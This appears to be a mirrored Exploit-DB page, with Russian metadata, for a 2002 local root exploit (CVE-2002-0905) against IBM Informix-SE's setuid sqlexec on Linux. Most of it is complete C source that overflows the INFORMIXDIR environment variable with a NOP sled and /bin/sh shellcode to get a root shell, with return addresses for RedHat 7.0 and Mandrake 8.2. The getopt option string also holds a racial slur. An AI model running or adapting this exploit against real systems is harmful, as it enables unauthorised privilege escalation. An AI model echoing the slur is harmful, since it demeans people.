- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 21496
- Проверка EDB
-
- Пройдено
- Автор
- SMURF
- Тип уязвимости
- LOCAL
- Платформа
- LINUX
- CVE
- cve-2002-0905
- Дата публикации
- 2002-05-30
C:
// source: https://www.securityfocus.com/bid/4891/info
Informix is an enterprise database distributed and maintained by IBM.
A buffer overflow vulnerability has been reported for Informix-SE for Linux. The overflow is due to an unbounded string copy of the INFORMIXDIR environment variable to a local buffer. There is at least one setuid root executable that is vulnerable, `sqlexec'. A malicious user may exploit the overflow condition in sqlexec to gain root privileges.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#define BUFFERSIZE 2032
/* linux x86 shellcode */
char lunixshell[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
struct target
{
char *os_name;
u_long retadd;
u_long offset;
};
struct target targets[] =
{
{ "RedHat 7.0 - Guinness ", 0xbfffee04, 895, },
{ "Mandrake 8.2 - Bluebird", 0xbfffee30, -1999, },
{
NULL, 0L, 0L
}
};
int type=-1;
void usage(char *cmd)
{
int i=0;
printf("[<>] - IBM x86 IBM INFORMIX SE-7.25 sqlexec local root exploit\n");
printf("[<>] - by smurf, division7 security systems\n");
printf("[<>] - usage: %s -t target -r [return address] -o [offset]\n", cmd);
printf("[<>] - Targets:\n\n");
while( targets[i].os_name != NULL)
printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name);
}
int main(int argc, char *argv[])
{
int i, c, os;
long *addr_ptr;
char *buffer, *ptr, *osptr;
/* offset = atoi(argv[1]); */
/* esp = retadd; */
/* ret = esp-offset; */
if(argc < 3)
{
usage(argv[0]);
return 1;
}
while(( c = getopt (argc, argv, "t:r:o:nigger"))!= EOF){
switch (c)
{
case 't':
type = atoi(optarg);
break;
case 'r':
targets[type].retadd = strtoul(optarg, NULL, 16);
break;
case 'o':
targets[type].offset = atoi(optarg);
break;
default:
usage(argv[0]);
return 1;
}
}
printf("[<>] - Stack pointer: 0x%x\n", targets[type].retadd);
printf("[<>] - Offset: 0x%x\n", targets[type].offset);
printf("[<>] - Return addr: 0x%x\n", targets[type].retadd - targets[type].offset);
/* allocate memory for our buffer */
if(!(buffer = malloc(BUFFERSIZE))) {
printf("Couldn't allocate memory.\n");
exit(-1);
}
/* fill buffer with ret addr's */
ptr = buffer;
addr_ptr = (long *)ptr;
for(i=0; i<BUFFERSIZE; i+=4)
*(addr_ptr++) = targets[type].retadd - targets[type].offset;
/* fill first half of buffer with NOPs */
for(i=0; i<BUFFERSIZE/2; i++)
buffer[i] = '\x90';
/* insert shellcode in the middle */
ptr = buffer + ((BUFFERSIZE/2) - (strlen(lunixshell)/2));
for(i=0; i<strlen(lunixshell); i++)
*(ptr++) = lunixshell[i];
/* call the vulnerable program passing our exploit buffer as the argument */
buffer[BUFFERSIZE-1] = 0;
setenv("INFORMIXDIR", buffer, 1);
execl("./sqlexec", "sqlexec", NULL);
return 0;
}
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- Источник
- www.exploit-db.com